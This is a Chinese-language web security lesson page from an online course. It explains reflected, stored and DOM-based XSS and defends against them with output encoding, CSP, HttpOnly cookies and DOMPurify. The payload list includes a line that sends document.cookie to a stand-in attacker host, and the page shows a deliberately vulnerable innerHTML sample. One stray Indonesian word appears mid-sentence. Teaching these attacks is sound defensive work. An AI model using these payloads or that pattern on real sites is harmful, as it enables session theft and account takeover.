0Pricing
Cyber Security Academy · 课时

跨站脚本攻击（XSS）

结合真实载荷和 CSP 缓解措施，了解反射型、存储型和基于 DOM 的 XSS

跨站脚本攻击（XSS） 是 CoddyKit 上的免费 Cyber Security Academy 课时。 这是第 2 节课，共 4 节。 你可以在下方免费阅读本课时的完整内容 — 然后在浏览器中使用内置代码编辑器和全天候 AI 导师进行实践。 这是 Cyber Security Academy 学习路径的一部分，你的进度在网页和 CoddyKit 应用中同步。 Cyber Security Academy 课程共包含 4 节课。

什么是 XSS？

跨站脚本攻击（XSS）发生在攻击者将恶意 JavaScript 注入其他用户查看的网页时。浏览器会在受害者会话的上下文中执行该脚本，从而 memungkinkan 窃取 Cookie、记录按键和篡改页面。

反射型 XSS

反射型 XSS（非持久型）：恶意脚本包含在请求中（例如网址参数），并在响应中被反射回来。受害者必须点击经过构造的链接。例如：https://site.com/search?q=<script>alert(1)</script>

存储型 XSS

存储型 XSS（持久型）：恶意脚本被保存到数据库中（例如评论、个人资料字段），并提供给每位访问者。它比反射型 XSS 更危险，因为不需要特殊链接——每次查看页面都会触发该脚本。

基于 DOM 的 XSS

基于 DOM 的 XSS发生在 JavaScript 读取攻击者控制的数据（网址哈希值、查询参数），并在未进行清理的情况下将其写入 DOM 时。攻击完全发生在客户端；服务器根本看不到载荷。

// Vulnerable code:
document.getElementById("msg").innerHTML = location.hash.slice(1);
// Attack URL: https://site.com/page#<img src=x onerror=alert(1)>

XSS 的影响

攻击者可以利用 XSS 做什么：

  • 窃取会话 Cookie（document.cookie）→ 接管账户
  • 记录按键（窃取用户输入的密码）
  • 重定向到钓鱼网站
  • 以受害者身份执行操作（通过 XSS 实施 CSRF）
  • 篡改页面

XSS 载荷

简单的测试载荷：

<script>alert(document.cookie)</script>
<img src=x onerror="fetch('https://attacker.com/?c='+document.cookie)">
<svg onload=alert(1)>

输出编码

主要防御措施：在将所有用户控制的输出插入 HTML 之前对其进行编码。将特殊字符转换为 HTML 实体：< → &lt;、> → &gt;、" → &quot;。

使用与上下文适配的编码：HTML、JavaScript、网址、CSS。

内容安全策略（CSP）

CSP 是一个响应标头，用于告知浏览器允许执行哪些脚本。严格的 CSP 会阻止内联脚本并限制脚本来源：

# Response header:
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com;
# Blocks all inline JS and scripts from unauthorized domains

HttpOnly Cookie

在会话 Cookie 上设置 HttpOnly 标志，可以阻止 JavaScript 通过 document.cookie 读取 Cookie。即使 XSS 被触发，攻击者也无法窃取会话令牌。这是与输出编码并列的最重要缓解措施。

清理库

当必须允许用户输入 HTML（例如富文本编辑器）时，请使用清理库，而不要自行编写：

  • DOMPurify（JavaScript）
  • bleach（Python）
  • OWASP Java HTML Sanitizer

XSS 测试

使用浏览器开发者工具、Burp Suite 或自动化扫描器测试 XSS。检查所有用户输入字段、网址参数、HTTP 标头和 DOM 接收函数：innerHTML、document.write、eval，以及使用字符串参数调用的 setTimeout。

快速检查：XSS

哪种 XSS 类型会将恶意载荷存储在数据库中，使其对受影响页面的每位访问者执行？

课程回顾

XSS 会将 JavaScript 注入受害者查看的页面。类型包括：反射型（基于网址）、存储型（持久化在数据库中）和基于 DOM 的（客户端）。主要防御措施：输出编码、HttpOnly Cookie 和内容安全策略。使用 DOMPurify 清理 HTML。绝不要将未经清理的用户数据插入 innerHTML 或 eval()。

常见问题解答

「跨站脚本攻击（XSS）」课时是免费的吗？

是的 — 「跨站脚本攻击（XSS）」的完整文本可在网页上免费阅读。要进行交互式练习（内置代码编辑器和全天候 AI 导师）并解锁 Cyber Security Academy 课程的其余内容，请升级到 CoddyKit PRO。 Cyber Security Academy 课程共包含 4 节课。

「跨站脚本攻击（XSS）」这节课中我会学到什么？

结合真实载荷和 CSP 缓解措施，了解反射型、存储型和基于 DOM 的 XSS 你通过在浏览器中直接运行的动手代码来练习 Cyber Security Academy，全天候 AI 导师会在你学习这节课的过程中回答你的问题。

学习 Cyber Security Academy 需要有经验吗？

无需任何先前经验。CoddyKit 上的 Cyber Security Academy 课程适合初学者到高级学习者，你可以从这里开始或从头开始，按照自己的节奏学习。 这是第 2 节课，共 4 节。

「跨站脚本攻击（XSS）」课时需要多长时间？

大多数 CoddyKit 课程大约需要 5–10 分钟。每节课都很精短且互动，所以你能稳步进步，并在网页和应用中从离开的地方继续。

我能在这节 Cyber Security Academy 课中编写并运行代码吗？

能。每节 Cyber Security Academy 课都包含内置代码编辑器，你可以在浏览器中直接编写并运行真实代码，并获得即时 AI 反馈 — 无需本地设置。

此课程中的所有课时

  1. SQL 注入：原理与成因
  2. 跨站脚本攻击（XSS）
  3. 跨站请求伪造（CSRF）
  4. 安全配置错误与暴露的服务
← 返回 Cyber Security Academy